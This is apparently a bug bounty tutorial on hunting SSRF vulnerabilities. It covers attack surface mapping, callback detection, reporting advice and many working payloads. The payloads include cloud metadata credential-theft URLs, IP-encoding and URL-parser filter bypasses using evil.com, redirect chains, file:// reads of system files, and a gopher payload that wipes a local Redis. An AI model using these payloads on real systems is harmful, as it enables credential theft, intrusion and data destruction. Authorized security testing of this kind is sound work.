Why SSRF Is One of the Highest-Paying Bug Bounty Categories

SSRF made the OWASP Top 10 in 2021 (A10) and it's stayed relevant because cloud infrastructure made the impact catastrophic. Before cloud, SSRF let you port-scan internal networks. Now it lets you steal IAM credentials from metadata endpoints, access internal APIs behind VPCs, and pivot through entire cloud environments.

Most bug bounty programs rate SSRF as High ($2,000–$5,000) or Critical ($5,000–$20,000+) depending on impact. The Capital One breach — 100 million records exposed through a single SSRF — is the case study that changed how the industry thinks about this vulnerability class.

For hunters, SSRF is attractive because it's hard to find with automated scanners (especially blind SSRF), which means less competition from other hunters running mass-scan tools.

Where to Look: SSRF Attack Surface Mapping

Before you start injecting payloads, map every feature that could trigger a server-side HTTP request. These are your SSRF entry points.

High-Probability Targets

• Webhook configurations — Any feature that lets you set a callback URL. Slack integrations, payment notifications, CI/CD webhooks. The application will make a request to whatever URL you provide.
• URL preview / link unfurling — Chat apps, social platforms, and CMS tools that fetch a URL to generate a preview card. The server fetches the URL server-side to extract Open Graph tags.
• PDF and image generators — HTML-to-PDF converters (wkhtmltopdf, Puppeteer, WeasyPrint) and screenshot services. These render HTML, which means they follow links, load images, and execute redirects.
• File import from URL — "Import from URL" features in document editors, spreadsheet tools, and data pipelines. The server fetches the file at the URL you provide.
• OAuth and SSO flows — Callback URLs, token exchange endpoints, and SAML metadata URLs. Some implementations fetch metadata from user-supplied URLs.

Lower-Probability but Worth Testing

• XML parsers — XXE can chain into SSRF. If the app parses XML (SOAP APIs, SVG uploads, DOCX/XLSX imports), test for XXE-to-SSRF.
• SVG uploads — SVG files can contain <image href="http://internal-host/"> tags that trigger server-side fetches during rendering.
• Email features — "Send to email" or "share via email" features sometimes fetch URLs embedded in the content.
• Proxy/redirect parameters — Parameters like url=, redirect=, next=, dest=, proxy=, fetch= in any endpoint.

SSRF Detection: From Basic to Blind

Step 1: Set Up Your Callback Infrastructure

Before testing anything, set up an out-of-band (OOB) callback server. Most SSRF in the wild is blind — the server makes the request but doesn't show you the response. Without a callback server, you'll miss these entirely.

Options:

• Burp Collaborator — Built into Burp Suite Pro. Easiest option if you already have Burp.
• interactsh — Free, open-source alternative from ProjectDiscovery. Run interactsh-client and get a unique callback domain.
• Your own VPS — Run a simple HTTP/DNS listener on a VPS you control. More work but full control over logging.

Step 2: Test for Reflected SSRF

Start with the simplest case — inject a URL and see if the response is reflected back to you.

# Basic test — does the server fetch your URL?
GET /api/fetch?url=http://your-callback-server.com/ssrf-test

# If the response body contains your callback server's response,
# you have reflected SSRF. Now escalate to internal targets:
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
GET /api/fetch?url=http://localhost:8080/admin
GET /api/fetch?url=http://10.0.0.1/

Step 3: Test for Blind SSRF

If you don't see the response, switch to OOB detection:

# Inject your callback URL everywhere
POST /api/webhook
{"callback_url": "http://YOUR-CALLBACK-ID.interact.sh/"}

# Check for DNS resolution (even if HTTP is blocked)
POST /api/import
{"source": "http://YOUR-CALLBACK-ID.interact.sh/test.csv"}

# If you get a callback hit, the server made the request.
# Blind SSRF confirmed — now prove impact.

Step 4: Prove Impact With Cloud Metadata

A blind SSRF that only makes outbound requests is usually Low severity. To get a High/Critical rating, you need to demonstrate access to internal resources. Cloud metadata is the standard proof:

# AWS IMDSv1 (still common — many instances haven't migrated to v2)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS IMDSv2 (requires a token — harder but not impossible via SSRF)
# Step 1: PUT request to get token
# Step 2: GET with token header
# Many SSRF vectors can't set custom headers, so IMDSv2 blocks most SSRF

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires Metadata-Flavor: Google header — but some SSRF vectors allow headers

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requires Metadata: true header

SSRF Filter Bypass Techniques

Most applications have some SSRF protection — allowlists, blocklists, or URL validation. Here's how to test whether those protections actually work.

IP Address Encoding

Blocklists that check for 127.0.0.1 or 169.254.169.254 often miss alternative representations:

# Decimal encoding
http://2130706433/          # = 127.0.0.1
http://2852039166/          # = 169.254.169.254

# Hex encoding
http://0x7f000001/          # = 127.0.0.1
http://0xa9fea9fe/          # = 169.254.169.254

# Octal encoding
http://0177.0.0.1/          # = 127.0.0.1
http://0251.0376.0251.0376/ # = 169.254.169.254

# Mixed encoding
http://127.0.0.0x1/
http://0x7f.0.0.1/

# IPv6
http://[::1]/               # = 127.0.0.1
http://[0:0:0:0:0:ffff:169.254.169.254]/

# Shorthand
http://0/                   # = 0.0.0.0 (sometimes resolves to localhost)
http://127.1/               # = 127.0.0.1 on some systems

DNS Rebinding

If the application validates the DNS resolution of your URL before fetching it, DNS rebinding can bypass this. The idea: your domain resolves to a safe IP during validation, then resolves to an internal IP when the server actually fetches it.

Tools: rbndr, rebinder, or set up your own DNS server with a short TTL that alternates between responses.

URL Parser Tricks

# Using @ to confuse parsers
http://allowed-domain.com@evil.com/
# Some parsers treat "allowed-domain.com" as the username

# Fragment tricks
http://evil.com#@allowed-domain.com

# Backslash vs forward slash
http://evil.com\@allowed-domain.com

# URL encoding
http://127.0.0.1%2523@allowed-domain.com

Redirect Chains

If the application validates the initial URL but follows redirects, host a redirect on your server:

# On your server, return a 302 redirect:
# Location: http://169.254.169.254/latest/meta-data/

# Then submit your server URL to the target:
GET /api/fetch?url=http://your-server.com/redirect

This bypasses allowlists that only check the first URL in the chain.

Protocol Smuggling: Beyond HTTP

Some SSRF vectors support protocols beyond HTTP. Test for:

# File protocol — read local files
file:///etc/passwd
file:///proc/self/environ

# Gopher protocol — craft arbitrary TCP packets
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a
# (This sends FLUSHALL to a local Redis instance)

# Dict protocol
dict://127.0.0.1:6379/INFO

# FTP
ftp://127.0.0.1/

Gopher is particularly dangerous because it lets you interact with internal services that speak plaintext protocols (Redis, Memcached, SMTP). If you find gopher:// support, the impact is almost always Critical.

Real-World SSRF Hunting Workflow

1. Recon — Map the application. Identify every feature that takes a URL as input. Check API docs for webhook or callback parameters.
2. Baseline — Submit a request to your callback server through each potential SSRF vector. Confirm which ones trigger server-side requests.
3. Filter testing — For each confirmed vector, test what's blocked. Try http://127.0.0.1, http://169.254.169.254, and internal IP ranges. Note which are blocked.
4. Bypass — For each blocked target, run through the bypass techniques above. IP encoding, DNS rebinding, redirects, URL parser tricks.
5. Escalate — Once you have a working bypass, demonstrate the highest impact you can: metadata credentials, internal API access, or internal network scanning.
6. Report — Document the full chain: entry point → filter bypass → internal access → impact.

Writing the SSRF Report

SSRF reports get downgraded or closed when hunters fail to demonstrate impact. Here's what to include:

• Clear reproduction steps — Exact HTTP requests, not just "I injected a URL." Include the full request/response.
• Proof of server-side request — Callback server logs showing the request came from the target's infrastructure (check the source IP).
• Impact demonstration — Don't just say "I can access internal services." Show what you accessed. If you reached the metadata endpoint, show the response (redact credentials). If you found internal APIs, document what they expose.
• Filter bypass documentation — If you bypassed a filter, explain exactly how. This helps the security team fix the root cause, not just patch your specific bypass.

For a detailed guide on structuring your report, see our bug bounty report writing guide.

Common Mistakes That Get SSRF Reports Closed

• Reporting blind SSRF with no impact proof — "The server made a request to my server" is not enough. You need to show access to internal resources or demonstrate a meaningful attack chain.
• Testing only HTTP — If you find SSRF, test other protocols (file://, gopher://, dict://). The impact difference between HTTP-only SSRF and gopher-capable SSRF is enormous.
• Stopping at the first blocked payload — If http://169.254.169.254 is blocked, don't give up. Try every bypass technique. Many programs have incomplete blocklists.
• Not checking for IMDSv2 — If the target runs on AWS and has IMDSv2 enforced, your metadata SSRF won't work even if you can reach 169.254.169.254. Check the response — if it requires a token, note this in your report and focus on other internal targets.

Tools for SSRF Hunting

Bottom Line

SSRF is one of the most rewarding vulnerability classes to hunt because it's hard to automate, the impact in cloud environments is severe, and most applications have at least one feature that makes server-side requests. Start by mapping every URL input in the application, set up your callback infrastructure, and systematically test each vector with escalating bypass techniques. When you find one, prove the highest impact you can — metadata credentials turn a High into a Critical.